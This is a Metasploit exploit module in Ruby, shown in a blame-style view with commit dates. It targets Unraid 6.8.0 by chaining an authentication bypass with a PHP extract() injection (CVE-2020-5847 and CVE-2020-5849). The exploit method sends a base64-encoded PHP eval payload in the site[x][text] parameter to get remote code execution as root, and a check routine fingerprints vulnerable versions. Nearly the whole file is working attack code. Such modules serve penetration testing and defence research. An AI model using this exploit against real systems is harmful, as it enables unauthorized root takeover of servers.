Files
metasploit-gs/modules/exploits/linux/http/unraid_auth_bypass_exec.rb
T

102 lines
3.1 KiB
Ruby
Raw Normal View History

2020-03-20 15:13:54 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
2020-04-16 17:17:02 -05:00
'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
'Description' => %q{
2020-03-20 15:13:54 +01:00
This module exploits two vulnerabilities affecting Unraid 6.8.0.
2020-03-21 11:44:35 +01:00
An authentication bypass is used to gain access to the administrative
2020-03-20 15:13:54 +01:00
interface, and an insecure use of the extract PHP function can be abused
for arbitrary code execution as root.
2020-04-16 17:17:02 -05:00
},
'Author' =>
2020-03-20 15:13:54 +01:00
[
'Nicolas CHATELAIN <n.chatelain@sysdream.com>'
],
2020-04-16 17:17:02 -05:00
'References' =>
2020-03-20 15:13:54 +01:00
[
[ 'CVE', '2020-5847' ],
[ 'CVE', '2020-5849' ],
[ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
[ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
],
2020-04-16 17:17:02 -05:00
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' =>
2020-03-20 15:13:54 +01:00
[
2020-03-21 11:44:35 +01:00
[ 'Automatic', {}]
2020-03-20 15:13:54 +01:00
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2020-02-10'
2020-03-20 15:13:54 +01:00
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
2020-03-21 11:44:35 +01:00
]
2020-03-20 15:13:54 +01:00
)
end
def check
2020-04-16 17:17:02 -05:00
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
2020-03-23 14:08:12 +01:00
'method' => 'GET'
2020-03-23 09:48:00 +01:00
)
2020-03-20 15:13:54 +01:00
2020-03-23 09:48:00 +01:00
unless res
return CheckCode::Unknown('Connection failed')
end
unless res.code == 200
return CheckCode::Safe('Unexpected reply')
2020-03-20 15:13:54 +01:00
end
2020-03-23 09:48:00 +01:00
/\sVersion:\s(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})&nbsp;/ =~ res.body
if version && Gem::Version.new(version) == Gem::Version.new('6.8.0')
return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
end
CheckCode::Safe
2020-03-20 15:13:54 +01:00
end
def exploit
begin
vprint_status('Sending exploit code')
2020-03-21 11:44:35 +01:00
res = send_request_cgi(
2020-04-16 17:17:02 -05:00
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET',
2020-03-20 15:13:54 +01:00
'encode_params' => false,
2020-04-16 17:17:02 -05:00
'vars_get' =>
2020-03-20 15:13:54 +01:00
{
2020-04-16 17:17:02 -05:00
'path' => 'x',
2020-03-20 15:13:54 +01:00
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
}
)
2020-03-21 11:44:35 +01:00
if res.nil?
2020-04-16 17:17:02 -05:00
print_good('Request timed out, OK if running a non-forking/blocking payload...')
2020-03-21 11:44:35 +01:00
elsif res.code == 302
2020-03-23 09:48:00 +01:00
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
2020-03-21 11:44:35 +01:00
else
2020-03-23 09:48:00 +01:00
print_warning("Unexpected response code #{res.code}, please check your payload.")
2020-03-21 11:44:35 +01:00
end
2020-03-20 15:13:54 +01:00
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end